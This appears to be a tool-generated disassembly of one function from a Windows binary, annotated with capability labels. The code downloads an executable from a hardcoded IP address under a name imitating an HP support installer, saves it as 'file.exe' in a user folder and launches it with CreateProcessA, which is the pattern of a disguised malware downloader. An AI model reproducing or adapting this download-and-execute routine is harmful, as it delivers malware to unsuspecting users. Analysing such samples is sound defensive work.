Function at 0x180004600
Capabilities:
Create http request
Create process on windows
Get common file path
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x590]
sub rsp, 0x690
mov rax, qword [0x180038080]
xor rax, rsp
mov qword [rbp + 0x580], rax
mov dword [rsp + 0x50], 1
call fcn.180002ab0
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
mov r8d, 0x45
lea rdx, str.http:__89.23.108.205_de_de_HPSupportSolutionsFramework_13.0.1.131.exe
lea rcx, [rsp + 0x78]
call fcn.180006990
nop
mov byte [rbp + 0x70], 0
xor edx, edx
mov r8d, 0x3ff
lea rcx, [rbp + 0x71]
call fcn.1800266e0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
xor r14d, r14d
mov esi, r14d
mov qword [rbp - 0x10], r14
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x18003240c]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x180003fb1
jmp 0x180004041
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0xf
cmova rdx, qword [rsp + 0x78]
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x4000000
xor r9d, r9d
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
jne 0x180003ff1
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
jmp 0x180004041
lea r9, [rbp - 0x60]
mov r8d, 0x400
lea rdx, [rbp + 0x70]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x18000402a
mov r9d, dword [rbp - 0x60]
lea r8, [rbp + 0x70]
mov rdx, qword [rbp - 0x18]
lea rcx, [rbp - 0x20]
call fcn.180006f90
cmp dword [rbp - 0x60], 0x400
je 0x180003ff1
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rsi, qword [rbp - 0x10]
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x18000407d
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004078
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800044ff
call fcn.180008170
movdqa xmm0, xmmword [0x180032730]
movdqu xmmword [rbp - 0x78], xmm0
mov byte [rsp + 0x78], 0
lea rax, [rbp + 0x470]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 5
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov rdi, qword [rbp - 0x20]
test eax, eax
js 0x1800043c6
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
lea rax, [rbp + 0x470]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800040e0
lea rdx, [rbp + 0x470]
lea rcx, [rsp + 0x58]
call fcn.180006990
nop
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rax, rdx
sub rax, rcx
cmp rax, 9
jb 0x18000414d
lea rax, [rcx + 9]
mov qword [rsp + 0x68], rax
lea rbx, [rsp + 0x58]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x58]
add rbx, rcx
mov r8d, 9
lea rdx, str._file.exe
mov rcx, rbx
call fcn.180026040
mov byte [rbx + 9], 0
lea rax, [rsp + 0x58]
jmp 0x18000416f
mov qword [rsp + 0x20], 9
lea r9, str._file.exe
xor r8d, r8d
mov edx, 9
lea rcx, [rsp + 0x58]
call fcn.180006800
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x1800041d9
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800041d4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004505
call fcn.180008170
movdqa xmm0, xmmword [0x180032730]
movdqu xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x58], 0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x70]
call fcn.1800266e0
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova rdx, qword [rbp - 0x40]
lea rcx, [rbp + 0x70]
call fcn.180005e40
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x70], rbx
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x6c], edx
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0x80], 6
jne 0x18000425f
mov r8, qword [rbp - 0x18]
sub r8, rdi
mov rdx, rdi
lea rcx, [rbp + 0x70]
call fcn.180005580
lea rcx, [rbp + 0x78]
call fcn.180005d40
test rax, rax
jne 0x1800042ab
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rbp + rcx + 0xb8], 0
cmovne eax, edx
or eax, dword [rbp + rcx + 0x80]
and eax, 0x17
mov dword [rbp + rcx + 0x80], eax
mov edx, dword [rbp + rcx + 0x84]
and edx, eax
jne 0x18000450b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 4], xmm0
movups xmmword [rbp + 0x14], xmm0
movups xmmword [rbp + 0x24], xmm0
movups xmmword [rbp + 0x34], xmm0
movups xmmword [rbp + 0x44], xmm0
movups xmmword [rbp + 0x54], xmm0
mov dword [rbp + 0x64], eax
mov dword [rbp], 0x68
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], rax
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova rdx, qword [rbp - 0x40]
lea rax, [rbp - 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rbp]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x18000442a
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x70], rbx
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x6c], edx
lea rcx, [rbp + 0x78]
call fcn.1800052b0
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x70], rax
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x6c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x118], rax
lea rcx, [rbp + 0x118]
call fcn.1800078cc
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x1800043c6
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800043c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800044f9
call fcn.180008170
nop
test rdi, rdi
je 0x1800043fe
sub rsi, rdi
mov rax, rdi
cmp rsi, 0x1000
jb 0x1800043f3
add rsi, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800044f3
mov rdx, rsi
mov rcx, rdi
call fcn.180008170
mov rcx, qword [rbp + 0x580]
xor rcx, rsp
call fcn.180008150
lea r11, [rsp + 0x690]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x70], rbx
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x6c], edx
lea rcx, [rbp + 0x78]
call fcn.1800052b0
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x70], rax
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x6c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x118], rax
lea rcx, [rbp + 0x118]
call fcn.1800078cc
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x1800043c6
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800043c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800044f9
jmp 0x1800043c0
call fcn.180010450
nop
call fcn.180010450
int3
call fcn.180010450
nop
call fcn.180010450
nop
test dl, 4
je 0x180004519
lea rbx, str.ios_base::badbit_set
jmp 0x18000452e
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.1800012f0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x78]
call fcn.180001be0
lea rdx, [0x180036608]
lea rcx, [rsp + 0x78]
call fcn.18000a138
int3
jmp 0x180003ef0